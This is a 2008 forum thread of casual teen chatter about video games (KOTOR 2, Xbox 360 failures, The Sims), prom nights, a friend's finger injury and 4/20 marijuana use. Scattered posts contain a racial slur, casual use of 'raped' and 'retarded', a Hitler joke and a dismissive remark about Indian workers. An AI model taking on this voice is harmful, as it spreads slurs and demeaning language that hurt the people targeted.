ohh man.  and especially on the shared computers where you'd put nasty things as epitaphs for other kids to read.

Best.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 12, 2008, 02:49:09 AM
ok, i loved the original kotor.  i walk into kotor 2 a bit dissapointed, even though the game is basically the same.  too much dark side quests, so what do i do?  roll a dark side caster rather than a light side melee character.

nobody told me how fucking awesome it was to throw force lightning and see about 6 dudes just die, im really enjoying myself in this game so far.  and if i beat it and im not tired of it yet, i may just replay the original kotor as a dark side character, however, i heard casters aren't as viable in that game as they are in this game.

regardless, a screenshot of my current character.  and ignore my retarded looking robes, it just makes it that much more awesome to force lightning people in.

(http://img509.imageshack.us/img509/696/darksidema5.jpg)

and i guess i kind of look like "the king" from burgerking, so how badass is that?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 12, 2008, 04:50:43 PM
So prom is tonight. I took the ACT earlier, it was really easy, and I raped the writing portion.

And a friend of mine got her pinky severed in a boating accident.

Woo~
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 12, 2008, 05:32:52 PM
My Xbox 360 is now officially dead.  It'll stay running for a minute or two when booted cold but after that it unceremoniously RRoDs.

Oh well, at least I'm going to have a nice computer to amuse myself with while it's being repaired. 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 12, 2008, 07:05:36 PM
:( for your friend with the severed pinky.  Are they going to be able to reattach it?

Also.  ffs.  I can't get motivated to do anything.  I have like 4 or 5 pictures I have to draw and making cat ears and BS and I JUST CAN'T DO IT CAPTAIN

How the hell do I get motivated rofl

And Ian:  we've been superlucky with our 360,.. for now anyway.  It's messed up maybe once and it was after we'd moved 1500 miles and it got to bounce around a bit.


OH AND ALSO I GOT A LAMINATORRRRRRRR <33
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 12, 2008, 07:46:18 PM
And a friend of mine got her pinky severed in a boating accident.

Shitballs, I just noticed this post. D:

And yeah, what Jinxie said...

OH AND ALSO I GOT A LAMINATORRRRRRRR <33

YAY!

MAKE ME A BADGE FOR AC08. <3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 13, 2008, 01:43:28 AM
Prom night went like this:

4:00 - I shower, shave, etc. in preparation.
4:40 - I start putting the tux on.
4:50 - I finish putting the tux on. I leave to pick up Kate.
5:00 - I'm at Kate's house, and her mom invites me in for a picture.
5:15 - We're back at my dad's house, and both my parents take pictures of us.
5:30 - We leave the house and go to a sushi place for dinner.
6:30 - We leave the restaurant and head for prom, taking a few detours to ensure we're not early.
7:00 - Prom starts.
7:15 - We get there, go in, get another picture, and then sit and talk with the people who were there.
8:45 - The music starts and the volume progressively gets to an unbearable level.
9:30 - We leave for that reason.
9:45 - We go to Barnes & Noble to hang out. About a third of the conversations from here on out are basically us settling any qualms we've had with each other.
10:30 - We go to my mom's house to make a catapult, which we'd been talking about doing all night. I start building a catapult out of Lego pieces.
10:45 - I finish building a the catapult. We launch a lot of things.
11:30 - Prom ends, but we don't really care at this point.
11:40 - I leave to drop her off at Rocky Horror because she was going to meet with people there.
12:00 - We decide that no one's coming. I take her home. On the way, I tell her that I had fun and miss hanging out with her, and she agreed that we should hang out more.
12:10 - I get home.

Overall, it was a pretty good night. I don't really have an interest in dating Kate anymore because we agreed that we would've made a terrible couple, but now we're good friends again.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 13, 2008, 02:30:03 AM
Glad to hear you get things sorted out.

And yeah, what Jinxie said...

Same.

My GF commented earlier, but I wasn't in the mood to post.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 13, 2008, 04:05:35 AM
why must games do this

kotor 2

im on my way as just my main character to do this part of a mission and...

-out of nowhere i take control of one of my weaker ranged attackers, alone, and i have to fight two boss characters at the same time, they use medpacks, and hurt when they hit...ohh the character i have doesn't have any points into healing, so he can't heal himself with medkits.  basically, activate the mandilorian melee shield, focus on a single target, and prey i don't die.
-back to the main character, i have to fight through some 40+ enemies...in a poison chamber...after which, a poison maze (ok i have a breath mask on which makes the poison ineffective, BUT THATS BESIDES THE POINT)
-then i switch to an enemy character to do other stuff (lots of killing...this part was quite fun actually)
-back to the main character for a while...ohh i get kidnapped (MOTHERFUCKER WHYYYYYY)
-now i take control of said weaker ranged attacker for 2 seconds
-oops now im the shitty tech droid character, alone, for a solo part

basically i have a shitty rescue mission on my hands to get the reason this game is awesome, back. FFUCKKCKCKCKCKCKCKCKCK\

VDSZBDSGFDSFGNFNFSNFSNFNGNGNMFBCFBFDFBFBBSDSBBhbdbsbdbsdbsdbsdbnosdbmsoldbm  nar shaddah is the worst planet ever

all i want to do is run around killing people with force lightning or using my force persuade to do awesome stuff like the following

-force an npc to give me an item i am looking for, and credits equal to its value
-force an npc who is infected with a contagious disease to kill himself as to not spread his disease
-force a woman to sell herself into slavery to be with her enslaved daughter
-force a group of thugs to hand over their weapons, afterwhich jump off a cliff

good fucking jesus, you couldn't do awesome stuff like that in kotor.  my character just screams awesome, and i lurv it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 13, 2008, 04:33:21 AM
Nah, she can't reattach it, it was totally crushed. I wonder how many ways that'll affect her life, god, missing a finger. At least it wasn't the thumb or finger though =/

Also, prom was spectacular. I had a wonderful time. Many pictures were taken, much food was eaten and an immense amount of fun was had. Hooray. Now I really want to go to bed, I feel like death. I went to walmart after dropping my girlfriend off and just got home a little bit ago.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 13, 2008, 04:42:42 AM
Holy shit.  How'd that happen?

Was it one of the people I met?

Regardless, my condolences.  That really sucks.  You're right, though...bad as it is, it could have been a lot worse.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 13, 2008, 04:53:20 AM
I wonder how many ways that'll affect her life, god, missing a finger.

you'd be surprised.  my mom has a hand with two fingers which were basically cut in half, so theres two little stubs where fingers were, doesn't hinder her from doing anything. 

missing a hand = tragic

missing a finger = minor inconvienience

hell, all you really need is two fingers and a thumb anyway. not saying i wouldn't be freaked about losing a finger, but its not that bad a loss.

anyway, yall niggers gotta play dat kotor, EETS GOOD SHIT SON.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 13, 2008, 09:38:44 AM
Kokomo is an awesome song.

/end
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 13, 2008, 11:20:11 AM
missing a finger = minor inconvienience

My grandfather's missing a finger too. His was crushed badly, and couldn't be reatached. Now, you wouldn't even know it's gone unless you counted his fingers. (it was his ring finger)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 13, 2008, 01:17:51 PM
Holy shit.  How'd that happen?

Was it one of the people I met?

Regardless, my condolences.  That really sucks.  You're right, though...bad as it is, it could have been a lot worse.

Nah, she's not one of the ones you met. All of them still have 10 fingers.

PS, all of them thought you were really funny and awesome, haha. Taboo was oodles of fun.

Also, the weather today is perfect for a bike ride, so I'm gonna go on another epic one today.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 13, 2008, 04:49:16 PM
I changed my display name again.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 13, 2008, 07:19:11 PM
hey how you guys like my av

ps new name
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 13, 2008, 07:42:23 PM
http://www.zefrank.com/punc/

Hehehe.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 13, 2008, 07:57:04 PM
That was pretty good, where did you find out about that?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 13, 2008, 08:19:17 PM
StumbleUpon.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 13, 2008, 10:08:00 PM
Haha, yeah, that was funny. Also, I just made delicious spinach and artichoke dip even more delicious by adding a bunch of cheeses and spices. Mmmm.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 14, 2008, 05:22:23 AM
Just to make it official:

(http://files.spectere.net/pictures/photos/rrod.jpg)
DECEMBER 2006 - APRIL 2008
WE HARDLY KNEW YE, 360
REST IN PIECE

(In other news, that's probably the most convoluted block of BBcode I've ever written.  I'm awesome.)

PS, all of them thought you were really funny and awesome, haha. Taboo was oodles of fun.

Oh hell yes.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 14, 2008, 06:36:28 AM
Ouch, that sucks.

Also, that is some intense BBcode, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 14, 2008, 10:10:11 AM
That should still be under warranty, correct? Either way, good luck with that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 14, 2008, 11:13:08 AM
Arg, why is youtube so damn slow. Can't google set the servers up to be as responsive as the google page servers are? Seriously. It's really annoying to get to the site and all of a sudden the pages aren't loading, or are loading with errors, and videos are either not loading at all, or are taking forever to load (and by forever, I mean a 5 minute video may take 20 minutes to load, on fucking highspeed internet, at that.)

:/ I'm thinking Youtube needs an overhaul.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 14, 2008, 01:17:34 PM
Ouch, that sucks.

Eh, the only part that bums me out about it is that I might miss out on playing GTA4 when it comes out.  I have a new computer to amuse myself with (or at least I will tomorrow, when my hard drives arrive -- I plan to do burn-ins on it tonight).

That should still be under warranty, correct? Either way, good luck with that.

It's out of warranty, but it's within the extended three year RRoD coverage.  Thank goodness.

If it comes back with an HDMI port I'm going to be happy.  VGA is so 90s.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on April 14, 2008, 07:02:09 PM
The longest wait is for the box they send you to send it in. Like seriously.

And I know they gave me a totally different 360 back so yeah, it's very possible they'll get you a newer model. HOWEVER, if this happens, it is very likely that you won't be able to use your dlc unless you're connected to Live. Although I'm told if you go into download history and redownload everything, it'll transfer to your new system. I have yet to have my internet go out (although I suppose I could just...unplug the cable...) so I don't know if that's fixed it for me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 14, 2008, 07:52:22 PM
to verify, you do need an internet connection to access dlc.

several months back when i was playing 4 player ultimate alliance(friends 360, he sent his in, and got another box back), we couldn't access the dlc characters until we plugged the damn thing into the internets.

speaking of breaking 360's.  the people i know who own a 360, who had theirs rrod, is higher by a good margin than the people who haven't had an rrod.

you could have waited a year to prevent this stuff microsoft, but you just HAD to release way ahead of time, and look where thats got you.

anyway, im nearing the end of kotor 2 i suppose, and its actually really awesome.  in terms of the storyline and stuff, i can say it beats the first kotor.  however, i see kotor 2 is one of those games i play once, and kotor a game i will not enjoy as much as kotor 2 in a playthrough, but a game i can happily enjoy multiple times through regardless of it starting to suck near the end.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 14, 2008, 08:40:34 PM
you could have waited a year to prevent this stuff microsoft, but you just HAD to release way ahead of time, and look where thats got you.

A corporal giant ahead of every other tech company? Yeah, they sure fucked up.

Their customers could be doing better, though. That I agree with.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 14, 2008, 08:50:32 PM
A corporal giant ahead of every other tech company? Yeah, they sure fucked up.

Funny how he stole the idea from Steve, but now Steve makes douche bag technology so fuck him. Also they needed that additional year out, they wouldn't have had their lead then and their already starting to lose to sony.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 14, 2008, 09:31:05 PM
to verify, you do need an internet connection to access dlc.

Not so, unless you put your hard drive on a different console or the game specifically requires it.

I've played every game that I own both connected and disconnected from Live! and none of my DLC gave me any trouble.  The only reason you would really have to be online when you bring your hard drive to a different system is because the hardware serial number would suddenly change.  It's kind of like product activation as far as I can tell.

you could have waited a year to prevent this stuff microsoft, but you just HAD to release way ahead of time, and look where thats got you.

Considering the Xbox 360 is the only system in this generation that I find to be currently worth owning: pretty far.  The Wii and the PS3 are playing catch-up as far as quality games are concerned.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 14, 2008, 11:24:17 PM
EPCOT was real fun today. Ate Moroccan and British food (lamb and fish n' chips, respectively) and canoodled with the misses on Spaceship Earth, always a hoot. I called in for work, too, which isn't exactly the best thing in the world but whatev. They'll deal, it's k.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 15, 2008, 03:24:59 AM
EPCOT is pretty cool. When I went there, I tried Calamari.. Bad idea. That stuff is disgusting :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 15, 2008, 01:52:26 PM
EPCOT is pretty cool. When I went there, I tried Calamari.. Bad idea. That stuff is disgusting :/

What the hell? Calamari is AMAZING. It must've just sucked at EPCOT... some of their food isn't exactly the finest in the world. Try it again somewhere else =(

Also, Spec, I have a question. Do you remember, either driving on the way to my house or to your place, driving past a bunch of Indian people who were crossing the street? Because I found out today that by some incredible coincidence, those are the same Indians who took about a hundred jobs at my Nielsen plant. They were all higher-up jobs, like, Information Specialist and Trainer Associates, but still, wtf. That's crazy o_o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 15, 2008, 03:31:48 PM
Now that's downright creepy.

Also, from my experience, if I don't like something once, I'm not going to like it ever.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 15, 2008, 03:52:17 PM
something i don't quite understand, remembering top stepmania scores, from years past.

like i don't get how i can remember stuff like

-23 greats on quasar 1.5
-3 greats on gargoyle
-6 greats on prophetess
-3 greats on another planet oni
-1 great on subaru in the wind
-1 great on classical party 3
-5 greats on one more lovely
-31 perfects on war game

and i did all this stuff some 2-3 years ago
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 15, 2008, 06:30:24 PM
Also, Spec, I have a question. Do you remember, either driving on the way to my house or to your place, driving past a bunch of Indian people who were crossing the street?

Haha, yes.

Because I found out today that by some incredible coincidence, those are the same Indians who took about a hundred jobs at my Nielsen plant. They were all higher-up jobs, like, Information Specialist and Trainer Associates, but still, wtf. That's crazy o_o

DOES THAT REALLY SURPRISE YOU? :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 15, 2008, 06:31:38 PM
i smell racism!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 15, 2008, 06:34:30 PM
I don't smell anything...

Well, aside from Twizzlers (yum!), but what can you do?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 15, 2008, 06:38:40 PM
but what can you do?

ill tell you what i can do

put en entire folder of clubstripes on my ZEN and go sit in one of the comfy chairs in best buy whilst browsing through said folder

or mistake some regular guy for the place i was applying to for someone who works there, thus making an ass out of myself.

OR

lalala LELLE nonono LLUU

i was hoping for an LOLROFL MAWAHAHAMOMY out of this post, but i guess i should try harder in the future
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 15, 2008, 06:51:19 PM
i was hoping for an LOLROFL MAWAHAHAMOMY out of this post, but i guess i should try harder in the future

O.o

I chuckled at the Best Buy thingie, if that counts...sounds like a hilarious idea to me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 15, 2008, 11:04:19 PM
[size=9]I WANT TO DIE HOLY FUCKING GOD (http://www.youtube.com/watch?v=dCZKxoiTGkY&feature=related)[/size]

What.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 15, 2008, 11:12:49 PM
[size=9]I WANT TO DIE HOLY FUCKING GOD (http://www.youtube.com/watch?v=dCZKxoiTGkY&feature=related)[/size]

aghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

kill me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 16, 2008, 01:04:32 AM
[size=9]I WANT TO DIE HOLY FUCKING GOD (http://www.youtube.com/watch?v=dCZKxoiTGkY&feature=related)[/size]

CUT MY BALLS OFF WITH ANOTHER PAIR OF BALLS AHHHHHHHHHHHHHHH
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 16, 2008, 02:16:42 AM
I'm OBTAINING maya to fool around in. I'm bored, and 3d sounded fun
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 16, 2008, 03:00:12 AM
aghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

kill me.


CUT MY BALLS OFF WITH ANOTHER PAIR OF BALLS AHHHHHHHHHHHHHHH

I AGREE D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 16, 2008, 09:28:40 AM
LOOK AT ME, TALK ABOUT ME.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 16, 2008, 02:09:19 PM
http://www.cbc.ca/money/story/2007/05/03/goldcoin.html

Holy crap, I think the Canadian mint is insane. lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 16, 2008, 02:24:31 PM
Ahahaha, that's freaking awesome. Canada, you rule :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on April 16, 2008, 03:21:24 PM
[size=9]I WANT TO DIE HOLY FUCKING GOD (http://www.youtube.com/watch?v=dCZKxoiTGkY&feature=related)[/size]

hot
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 16, 2008, 06:09:09 PM
oddly, i had this fucked up dream where i was at bobbias house, and like i was in this renemon suit and i was running around the front yard...

what the fuck, first off, what would i be doing at bobs house, and secondly, i don't dress up as cartoon characters.  hell, the only thing i wear, ever, is jeans, and a black t shirt if its winter, and white if its spring/summer.

and then theres these dreams of me doing this disturbing stuff i would never dream/want to do ever.  dreams suck.

disturbing stuff aside, i downloaded the demo for ikaruga on xbla (yes, its on xbla now), im not much for shmups but its pretty fun.

*edit*

WRYYYYYYYYYYYYYY

*edit due to boredom*

managed to get to the second part of the level 1 boss of ikaruga on hard...then i died because that game is BULLETZ EVERWER

ill probably buy this sucker after bionic commando rearmed comes out and i play the bejesus out of that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 17, 2008, 12:57:39 AM
I loled at Aldrasio's comment. It's truth, but A LOT  of stereotypes get a lot of media attention (see rap). Kind of sad to see 12 year olds constantly post F@G too.

Also I started reading smash boards looking for brawl videos and what not, when I drifted into a discussion about which being better Brawl or Melee. I was thinking some people might actually like brawl for being a more balanced and "deeper" game despite the lack of "wave dashing" but I come across this.

Quote
I could beat some of my friends without getting Ko'ed in Melee, but in Brawl it's usually 50/50. That is what makes Brawl less competitive, the randomness and that being better doesn't mean winning.
Why would anyone go to a tournament where they're playing for money(or not) if training and effort won't make you win? It's like going to a coin flipping tournament, except the coin takes a lot longer to fall.

Maybe it's because the game plays completely differently and you and your friends have the EXACT same amount of experience?

Quote
That's how I feel. I would enter a brawl tournament even though I don't think the game is as competitive as melee. I would rather enter a melee tournament though. I'm really good at it even though I never had a chance to really get into the tournament scene. Also, I don't own a wii and haven't been able to play brawl very much.

Damn, better go enter a tourny for a game I don't own, nah fuck it that game suckshit.

Quote
No see you guys are still not noticing the big picture.

BRAWL CAN SUCK MY BAWLS <--- c wut i did thar

An actual admin, who has Brawl sucks as his post count. So, I must say, I raged.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 17, 2008, 08:18:39 AM
Haha, an actual admin? That's pretty awesome, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 17, 2008, 10:47:10 PM
We switched our ISP from SBC to Charter. It's a lot better.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 17, 2008, 10:59:13 PM
This mini-comic is hilarious, and so very, very true: http://www.shamusyoung.com/twentysidedtale/?p=1604 (http://www.shamusyoung.com/twentysidedtale/?p=1604)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 17, 2008, 11:07:29 PM
I never understood the sims, seems more work then fun. Kind of like WoW.

Also:http://www.destructoid.com/what-no-more-heroes-really-means-73998.phtml
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 18, 2008, 02:43:42 AM
I never understood the sims

YES. Finally someone who understands this.

My brother and GF both like games like Harvest Moon, and The Sims. I just don't get them. They seem to be the biggest waste of time on earth, and simply not fun, on top of it :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 18, 2008, 03:04:44 AM
waste of time on earth

waste of time....vidya....

MINDEXPLODE

to note, i never really got into the "sim" games either...save for sim tower, that game was tight.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 18, 2008, 03:25:48 AM
I mean that they tend to suck up time like mad, and you get basically shit in return for the time you spend in them.

Harvest Moon: "Look at me, I managed to clear every rock out of my yard! I'm a video game master!"
The Sims: "My god, he can go to the bathroom without me telling him to... It's a miracle!"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 18, 2008, 03:30:51 AM
I mean that they tend to suck up time like mad, and you get basically shit in return for the time you spend in them.

im sorry, but they are still videogames, and if the person playing said vidya is entertained, its time well spent imo.  time is only wasted when you aren't entertained playing that vidya, as its the vidya's only purpose.

its kind of like me grinding in the pokermans, its not fun, and that time could be better used to entertain myself, or do something productive.

also

http://www.battle.net/forums/thread.aspx?fn=sc2-general&t=1015863&p=1&#post1015863

8. Is the Tauren Marine going to be included in the StarCraft II map editor? (battle.net) scorpionbrood

Yes.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 18, 2008, 03:53:43 AM
Well, by the standards you just posted, those games are a waste of time, since I don't find them entertaining in the least.

Also: YES, that Tauren Marine is all kinds of badass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 18, 2008, 03:55:54 AM
well you know what i meant, if they like playing the sims, good for them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 18, 2008, 08:25:55 AM
YEEAAAAH tauren marine =D

hurrah 4 udder chaos kthx
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Korremar on April 18, 2008, 12:30:11 PM
So I got a new PC.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 18, 2008, 02:23:49 PM
I mean that they tend to suck up time like mad, and you get basically shit in return for the time you spend in them.

I haven't played harvest moon, but I can agree with the sims. I also feel the same way about the GTA series so who am I to say. 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on April 18, 2008, 03:13:00 PM
I never got into the Sims either.  I just find it boring as hell.

I got into GTA a lot, though, and find it to be one the most entertaining games out there.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 18, 2008, 03:32:43 PM
I ENJOY SIMS AND HARVEST MOON

MAYBE SINCE I HAVE A VAGINA?

I'm not sure.  I can't really explain why.  Maybe because the sims I have atm is the sims 2 pets so i have all these cats and then (WARNING FANGIRL/DUMB SHIT AHEAD) I have me married to pyroko, and have like 5 cats, and then i made a Char Aznable (from ms gundam, look it up, <3) and he has cats named after his mobile suits and hyaku shiki has quattro glasses and LOL IM CHEATING ON PYROKO WITH CHAR.  I apologize if most of you don't get any of that.

LOL FANGIRLISMS

oh and i'm married in Harvest Moon to an npc named Dan (yes yes i know i know, very very convenient, and he's a lazy ass JUST LIKE IN REAL LIFE!) and we had a baby named Neophyte.  I am like OH I MAEK MONIES SO THAT I CAN... uh... not sure. rofl
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 18, 2008, 03:39:57 PM
http://yaledailynews.com/articles/view/24513

My eyes, they nearly dropped out of my head. That's the craziest idea ever D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 18, 2008, 04:03:01 PM
whoa yeah that's different.  but hell, it's her body, so she can do as she pleases.  I just wonder what on earth went DING in her head for her to go
"OMG! MAN, BLOODY EMBRYOS AND PEOPLE WATCHING ME MISCARRY IS AN AWESOME IDEA".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 18, 2008, 04:45:01 PM
So I got a new PC.

FINALLY. <3

Specs?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 18, 2008, 05:38:59 PM
http://yaledailynews.com/articles/view/24513

My eyes, they nearly dropped out of my head. That's the craziest idea ever D:

Quote
The display of Schvarts' project will feature a large cube suspended from the ceiling of a room in the gallery of Green Hall. Schvarts will wrap hundreds of feet of plastic sheeting around this cube; lined between layers of the sheeting will be the blood from Schvarts' self-induced miscarriages mixed with Vaseline in order to prevent the blood from drying and to extend the blood throughout the plastic sheeting.

Schvarts will then project recorded videos onto the four sides of the cube. These videos, captured on a VHS camcorder, will show her experiencing miscarriages in her bathrooom tub, she said. Similar videos will be projected onto the walls of the room.

Huh, sounds family friendly.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 18, 2008, 07:26:05 PM
That is just plain disturbing. Whether or not she's doing it for the shock value, that has to be one of the most disturbing things I've heard in a long time.

I would have to say that I think she is mentally insane.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 18, 2008, 07:35:50 PM
i just realized that i can close tabs by clicking the middle mouse key, WHY DIDN'T ANYBODY TELL ME THIS!!!!!>!>!!?!??!??
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 18, 2008, 08:27:25 PM
My middle button is for logitech's version of the Alt Tab menu. click once, shows the programs currently open, you can scroll and select which one you want to flip to.  Kinda handy i suppose
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 18, 2008, 09:33:49 PM
i just realized that i can close tabs by clicking the middle mouse key, WHY DIDN'T ANYBODY TELL ME THIS!!!!!>!>!!?!??!??

Mouse wheel clicks also opens links in new tabs.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 18, 2008, 09:51:11 PM
Mouse wheel clicks also opens links in new tabs.

well, i knew that before the day i was born.  i literally can't browse the internet without that feature.

*edit*

sig/av chang'd

if the sig is too "risque" tell me and ill change it.  there just isn't that much good jet set radio art, and that amount is smaller in the art i can crop into a decent looking sig.  not to mention gum is awesome, she only sucks if you are playing the original game and doing graffiti with her, its probably the hardest character to do graffiti with.

*edit* its like 70 in here, im dying squirtle.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 18, 2008, 11:30:18 PM
Also, if you don't have the tab area full, you can middle click in an area without a tab, and it will either re-open the last closed tab, or open a blank one if you haven't closed any yet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 19, 2008, 01:19:16 AM
Ah fuck, just got my ass handed to me in smash to 2 different people. The only people I won with were Link, Ike, and Meta knight.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 19, 2008, 01:54:03 AM
if the sig is too "risque" tell me and ill change it.

Nah, it's fine.  I consider it to be SFW.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 19, 2008, 06:20:33 PM
prom is 2 nite guiz

Il poast pix l8r

kbye
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 20, 2008, 12:08:55 AM
so i had this several pound bag of pecans laying around.  they don't quite taste good when just eaten standalone(they aren't salted), so i had to think of something before these things expire (summer 2009, ololol).  what i did was took a handfull of pecans and tossed em in a frying pan, i added quite a bit of butter to that, and cooked em on low with a dash of salt till the pecans started to brown. 

then all i did was tossed those pecans into a bowl of vanilla ice cream, and the melted butter drizzled on top of that, with some caramel to finish it off.

i may just start butter frying my pecans more often, they taste great in ice cream, and they taste great just eaten as is.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 20, 2008, 02:15:53 AM
Sounds damn delicious.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 20, 2008, 06:41:55 AM
prom is 2 nite guiz

Il poast pix l8r

kbye

What a weekend for prom o_O
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 20, 2008, 06:48:50 AM
rofl, I was just about to post that i just got home at 3:30 and don't plan on going to sleep. I'm about to toke up at 4:20 AM, then head to hippie hill later for the PM.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 20, 2008, 02:15:18 PM
I realized it was 4/20 when I turned on my TV and Cheech and Chong was playing (haven't seen that on in forever) while Jay and silent Bob was on the channel right above it. So happy Hitlers birthday.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 20, 2008, 03:58:20 PM
Just got back from WGI world championships in Dayton, Ohio. Was up there for four days with 40 other people. It was a blast, even though we didn't win. I didn't sleep last night, however, so I've been feeling like death for a while, but I have no motivation to sleep, because I have a lot of makeup work and stuff I need to do. Gah.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 20, 2008, 06:44:27 PM
Also, 420 + Passover = High Holiday
LOL GET IT

I c wut jew did thar.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 20, 2008, 07:31:07 PM
So uh, vaporizers are awesome, kthnx.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 20, 2008, 10:19:47 PM
i hope mass effect 2 shows you what you have done in your previous beaten files because i have...a lot...

and i am currently working on my "perfect" file to be in use with me2, level 60 soldier with lift, specter x weapon, collosus x heavy armor (which i have not yet seen for humans), just about every quest complete, full paragon, ect. 

but if me2 lacks such a feature, im going to have a hell of a time finding the "right" file to continue off from(seriously, i got like 15), even though its probably going to only minorly effect the game.

Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 21, 2008, 12:51:12 AM
So I just wrote a lolworthy satire paper about the Apollo 11 conspiracy theory.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on April 21, 2008, 10:04:18 AM
So I finally called it off with the ex that I got back together with, for good this time. Trouble is she so desperately still wants to be friends and I just don't want to deal with her shit at all.

